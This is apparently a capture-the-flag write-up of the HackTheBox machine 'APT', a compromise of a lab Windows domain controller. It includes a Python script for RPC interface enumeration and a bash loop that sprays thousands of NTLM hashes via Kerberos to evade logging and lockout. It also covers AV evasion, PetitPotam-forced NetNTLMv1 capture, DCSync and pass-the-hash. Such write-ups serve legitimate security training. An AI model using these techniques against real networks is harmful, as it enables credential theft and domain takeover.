APT

Summary

  • A Windows machine where a standard IPv4 full TCP port scan reveals only HTTP on port 80 and RPC Endpoint Mapper on port 135.
  • After checking out the website, it turns out to be just static content with no real abusable functionalities.
  • However, due to the many information that can be retrieved through the MSRPC protocol and because we have no other option, we decide to dig deeper into what can be done through it.
  • We come across an amazing article where we find that we can (without authentication) access a specific function in the legacy DCOM interface exported through RPC that would let us enumerate all the network interfaces on the machine.
  • Thanks to a security researcher who has built a specific python script for that function, we can use it and are able to get the network interace information.
  • We find that the machine has an IPV6 that when scanned with nmap reveals the full list of available ports which indicate a Windows Domain Controller.
  • The anonymously-accessible SMB share had a copy of the Active Directory database file NTDS.dit as well as the security and system registry hives in a folder structure similar to the output of the ntdsutil utility.
  • With the given files, and using impacket’s secretsdump.py, we are able to get a list of all domain usernames and hashes.
  • We enumerate the users with kerbrute to only find 3 valid accounts (the default Administrator, the Domain Controller’s machine account and a user called henry.vinson).
  • We try to brute force the user accounts with all the hashes from the dump over SMB but are blocked by the server when doing so.
  • However, since we didn’t get a message indicating account lockout, we changed the method of authentication to Kerberos (as it doesn’t leave a 4625 logon event in the logs) in hopes of bypassing the defenses in place.
  • By building a bash wrapper around impacket’s silver ticket script getST.py, we manage to brute force using the NTLM hashes to find a match with the henry.vinson user.
  • The user had no WinRM access so we tried many things to enumerate the machine. When scanning the contents of the registry through the available remote registry service, we got a set of credentials for the henry.vinson_adm user.
  • That user turned out to have WinRM access and we could successfully get a shell. We then used WinPEAS to run a regular privesc check. We had to switch the basic version for the obfuscated one because AMSI was detecting it.
  • Looking at the tool’s output, we find that the machine is misconfigured and uses the insecure and crackable NetNTLMv1 in network authentication. A vulnerabiltiy that can be exploited for privilege escalation.
  • Luckily, a tool like PetitPotam.py can coerce authentication back to our attacker machine. We use it after setting up our responder to downgrade the authentication to NetNTLMv1 as well as send a specific challenge to capture the machine account’s hash.
  • We submit it to the crack.sh website which cracks it and emails us the NTLM version. We then use it to perform a DCSync attack.
  • After retrieving the Administrator’s NTLM hash from the dump, we use it to get complete access to the box in a typical pass-the-hash attack.
  • The machine author’s intended way to achieve privilege escalation was through modifying the RoguePotato exploit to target IPV6, bypass AMSI then creating a special RPC server with impacket to respond with a challenge before capturing the NetNTLMv1 authentication.
  • However, due to that path’s high complexity and due to the simpler tools currenly available, I’m postponing it for when I know enough about RPC to be able to decently write about it.

IPv4 NMAP

PORT    STATE SERVICE VERSION
80/tcp  open  http    Microsoft IIS httpd 10.0
|_http-title: Gigantic Hosting | Home
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The standard nmap full port scan shows:

  1. HTTP on port 80 served on IIS 10
  2. MSRPC on port 135

Checking Port 80

Looking at the website, we find a bunch of static html pages

Website-homepage

The linked web pages were:

  • index.html
  • services.html
  • clients.html
  • about.html
  • support.html
  • news.html

The content was mostly filler. We didn’t find anything of interest in the source code. No usernames were there apart from the sales email.

Directory and file bruteforcing with gobuster didn’t get us anything new either.

Being left with port 135, we decide to dive in.

Digging deep into MSRPC

The Microsoft Remote Procedure Call is a protocol that allows a client program to request a service on another computer. Just like any typical client-server architecture.

It is mainly about Cross-Process Communication and Object Exchange over the network.

There are many functionalities in RPC, so we’re interested to know how to use it.

Here are few terms we need to know before we can continue:

  • The RPC End Point Mapper: The RPC Endpoint Mapper (RpcEptMapper) service resolves RPC interface identifiers to transport endpoints. It can be queried for functionalities.
  • Protocol Sequence Identifier: A numeric value that uniquely identifies an RPC transport protocol when describing a protocol in the context of a protocol stack.
  • RPC Endpoint: A network-specific address of a server process for RPC.
  • Universally Unique Identifier (UUID): An identifier that can be used in identifying objects in cross-process communication. In our case, a specific interface providing a special function of interest.
  • The Microsoft Component Object Model (COM): is a platform-independent, distributed, object-oriented system for creating binary software components that can interact.
  • The Distributed Component Object Model (DCOM): The Microsoft Component Object Model (COM) specification that defines how components communicate over networks.
  • Interface: A specification in a Component Object Model (COM) server that describes how to access the methods of a class.
  • Method: A function that can be called to execute a desired output.
  • Authentication Level: A numeric value indicating the level of authentication or message protection that remote procedure call (RPC) will apply to a specific message exchange
  • Opnum: An operation number or numeric identifier that is used to identify a specific remote procedure call (RPC) method or a method in an interface.

With that out of the way, here’s what we’re going to do:

  1. Talk to the RPC Endpoint Mapper service on port 135.
  2. List all RPC Endpoints available.
  3. Per endpoint, find the functionalities that don’t require authentication.
  4. By googling each endpoint’s UUID, lookup Microsoft’s documentation on the available methods through it.
  5. If we find any, we would also need to look for a way to invoke those functionalities.

Since it’s the most relevant tool for the job, let’s view the help for impacket’s rpcmap.py script.

rpcmap-help

As far as points 1-3 go, it seems that we have everything we need in this tool. we even have an example of what to use as a string binding value as indicated above.

Command:

rpcmap.py ncacn_ip_tcp:10.10.10.213 -brute-opnums -auth-level 1

Looking at the output, we see that we get “access denied” on most UUIDs and for most opnums. Except for a couple on “UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A”

rpcmap-output

Let’s see what google search can find us for that UUID:

google-uuid-search-results

As you may have noticed from the link coloring, I clicked all three links :D the second article is enough to get us through the first part of this machine.

But we’re going to take a brief look at Microsoft’s documentation first.

Our UUID is that of the “IID_IObjectExporter”.

object-exporter

Here’s what we get when we click the link next to it:

object-exporter-methods

If you remember from rpcmap’s output, we had access to only opnums 3 & 5

object-exporter-available-opnums

when looking at opnum3, we see nothing significant:

serveralive-method

It just checks if the other host is up.

let’s look at opnum 5:

serveralive2-method

“It returns string and security bindings for the object resolver, which allows the client to choose the most appropriate, mutually compatible settings.”

Since in our case, we’re the client, we should get string and security bindings back when calling this method.

This would mean all the IP addresses on the box (including a potential IPv6) can be leaked.

But I don’t have much of a clue on how to do that XD

The 2nd search result here seemed very promising.

airbus-article

The Impacket library had the necessary code and the researcher was kind enough to provide a python script to get the job done.

#!/usr/bin/python

import sys, getopt

from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter

def main(argv):

    try:
        opts, args = getopt.getopt(argv,"ht:",["target="])
    except getopt.GetoptError:
        print 'IOXIDResolver.py -t <target>'
        sys.exit(2)

    target_ip = "192.168.1.1"

    for opt, arg in opts:
        if opt == '-h':
            print 'IOXIDResolver.py -t <target>'
            sys.exit()
        elif opt in ("-t", "--target"):
            target_ip = arg

    authLevel = RPC_C_AUTHN_LEVEL_NONE

    stringBinding = r'ncacn_ip_tcp:%s' % target_ip
    rpctransport = transport.DCERPCTransportFactory(stringBinding)

    portmap = rpctransport.get_dce_rpc()
    portmap.set_auth_level(authLevel)
    portmap.connect()

    objExporter = IObjectExporter(portmap)
    bindings = objExporter.ServerAlive2()

    print "[*] Retrieving network interface of " + target_ip

    #NetworkAddr = bindings[0]['aNetworkAddr']
    for binding in bindings:
        NetworkAddr = binding['aNetworkAddr']
        print "Address: " + NetworkAddr

if __name__ == "__main__":
   main(sys.argv[1:])

When using it, we get a very nice output:

python-enum-interfaces-script-output

IPv6 NMAP

After placing an entry for it in our /etc/hosts file, we run another nmap on the IPv6 using the -6 flag. Look at what we got :D

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-server-header: 
|   Microsoft-HTTPAPI/2.0
|_  Microsoft-IIS/10.0
|_http-title: Bad Request
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-02 15:54:05Z)
135/tcp   open  msrpc        Microsoft Windows RPC
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after:  2050-09-24T07:17:18
| MD5:   c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
|_ssl-date: 2022-07-02T15:55:19+00:00; -5h38m13s from scanner time.
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after:  2050-09-24T07:17:18
| MD5:   c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
|_ssl-date: 2022-07-02T15:55:19+00:00; -5h38m13s from scanner time.
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
|_ssl-date: 2022-07-02T15:55:19+00:00; -5h38m13s from scanner time.
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after:  2050-09-24T07:17:18
| MD5:   c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
3269/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
|_ssl-date: 2022-07-02T15:55:19+00:00; -5h38m13s from scanner time.
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after:  2050-09-24T07:17:18
| MD5:   c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Bad Request
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Bad Request
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc        Microsoft Windows RPC
49675/tcp open  msrpc        Microsoft Windows RPC
49695/tcp open  msrpc        Microsoft Windows RPC
60706/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: APT; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: apt
|   NetBIOS computer name: APT\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: apt.htb.local
|_  System time: 2022-07-02T16:55:02+01:00
| smb2-time: 
|   date: 2022-07-02T15:55:01
|_  start_date: 2022-07-02T13:47:16
|_clock-skew: mean: -5h46m47s, deviation: 22m40s, median: -5h38m13s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

A full-fledged windows domain controller :D

Looks like a firewall was configured to only allow port 80 and 135 on IPv4 but allowed everything on IPv6.

Lesson learned: Always enumerate network interfaces as part of the recon. There could be way more information to be learned about the network by doing this.

SMB Enumeration

We start with SMB and run crackmapexec to check the available shares. And we find a readable one called “backup”

cme-smb-shares

we find a password when trying to unzip the file called backup.zip

backup-zip

we could successfully crack it with john’s zip2john script (It gave us an error but that wasn’t a concern).

cracking-zip-hash

After unzipping the archive, we get something very interesting. What appears to be an Active Directory Database Dump. This is exactly the output of a utility called ntdsutil

unzipping-backup-zip

We dump the contents with secretsdump.py using the -history flag to get previous password hashes and -just-dc-ntlm to limit the output to what we can use in a pass-the-hash attack.

secrets_dump

Something is off here.. it can’t be that easy :D

Since those would be instant kills, We tried:

  • Logging in with the Administrator’s hash
  • Use the Domain Controller’s machine hash
  • Create a golden ticket with the krbtgt hash

But of course, none worked XD

Working around bruteforce defenses

We will now have to check the other users. So we filter them out with some shell fu:

cat dump.txt | cut -d':' -f1 | grep -v 'history' | sort -u > users.txt
cat dump.txt | grep ':::' | cut -d':' -f4 | sort -u > hashes.txt

We found around 2k unique users and 4k unique NTLM hashes.

We have to first validate that these users exist. We do so using kerbrute

Only 3 users were valid:

kerberute-userenum

When trying to bruteforce the hashes, we get blocked.

bruteforce-defenses

But did you notice something? even with that many attempts, the account didn’t get locked out ;] we know so because locked out accounts give a different error message.

We’re going to try bruteforcing using Kerberos. It’s different from using SMB because it doesn’t leave a 4625 logon event behind.

I had to reset the machine to get the block removed. Perhaps it was configured for a ban time that was too long.

We’re going to do this using impacket’s getST.py script. By building a bash wrapper around it to enable bruteforcing with a hash since that feature isn’t in kerbrute at the moment.

Here’s what it looks like:

index=1
for hash in $(cat hashes.txt); do
	echo "[*] [$index/4000] Spraying hash $hash for Administrator"
  	getST.py -dc-ip apt -spn cifs/apt.htb.local htb.local/administrator -hashes ":$hash" | grep -Pv 'not found|Getting TGT|PREAUTH_FAILED|Copyright 2022'| sed -r '/^\s*$/d'
	echo "[*] [$index/4000] Spraying hash $hash for Henry.vinson"
  	getST.py -dc-ip apt -spn cifs/apt.htb.local htb.local/Henry.vinson -hashes ":$hash" | grep -Pv 'not found|Getting TGT|PREAUTH_FAILED|Copyright 2022'| sed -r '/^\s*$/d'  	
  	((index=index+1))
done

In the script, we request a ticket for SMB access, clear out any unnecessary output as well as print out some progress messages.

Note: To speed things up, you are advised to break down the hashes list into smaller chunks and run multiple instances of the script in parallel. Or else that process would take significantly much more time.

The Kerberos bruteforce worked well and we didn’t get blocked. We got a working hash right near the end of the list (the 3558th entry).

kerberos-hash-brute

Side Note: After checking the official writeup, I found that this wasn’t the indended way. But hey! it worked XD

auth-with-henry

Finding creds via Remote Registry

Alright. After finally getting our first set of credentials, we sadly don’t find anything to get us further using conventional methods.

  • Henry didn’t have 8 access
  • Bloodhound didn’t return anything we could exploit
  • No Kerberoastable or ASREProastable accounts were there

However, when were looking for information in the registry using impacket’s reg.py, we found creds for henry.vinsdon_adm under HKU\Software\GiganticHostingManagementSystem. It seemed like his administrator account.

creds-in-registry

And he turned out to have WinRM access when we checked.

winrm-shell-access

Privilege Escalation via NetNTLMv1

When running the standard WinPEAS.exe, it got caught by AV.

normal-winpeas-caught

It worked alright when we switched to the obfuscated version. (you can find that on the releases page on GitHub)

obfuscated-peas-worked

Scanning the output, we noticed something exploitable: NetNTLMv1 being enabled.

netNTLMv1-enabled

Basically, exploiting this aims at forcing a network authentication from the Domain Controller’s machine account back to our machine where responder will capture it for a crackable NetNTLMv1 hash.

We will first set up our responder’s configuration to send a certain challenge. This is for making the hash cracking easier.

in /etc/responder/Responder.conf, we set the challenge to 112233445566778899

setting-the-challenge

and we start it with the --lm flag to force LM hashing downgrade.

We then trigger the authentication using PetitPotam.py. Here’s what it looks like:

forced-auth-netNTLMv1

We got the NetNTLMv1 hash. Which we will then submit to the website crack.sh after formatting it according to their requirements. The hash should be like this:

NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384

crack-sh

A few minutes after sumbitting, we got back the NTLM hash for the machine in our inbox.

crack-sh-results

Of course, we used the machine hash to do a DCSync and grabbed the Administrator’s hash to finish the box :D

dcsync-and-rooting-the-box